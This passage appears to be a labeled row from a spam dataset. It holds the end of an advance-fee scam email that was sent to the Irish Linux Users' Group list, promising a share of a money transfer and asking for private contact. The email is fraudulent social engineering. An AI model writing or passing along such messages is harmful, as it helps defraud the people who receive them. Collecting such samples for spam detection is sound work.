beneficiary will be paid (25%) of the total amouth. Since this money can be paid directly into any bank account of your choice,you have responsibility to ensure that my partner and Ireceive(70%)of the total amouth.While the balance (5%) will be set aside for any unforseen expenses in the cause of transfering this money. I will appreciate if you can give your assurance and guarantee that our share will be well secured.Please for the sake of confidentiality,reach me on my e-mail address: wilsonkamela3000@mail.com . Please let me know if this proposal is acceptable to you. Kindly reach me immediately with any of the stated contact addresses so that better clearifications relating to the transaction will be explained to you. Truly yours, Wilson Kamela. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",1,1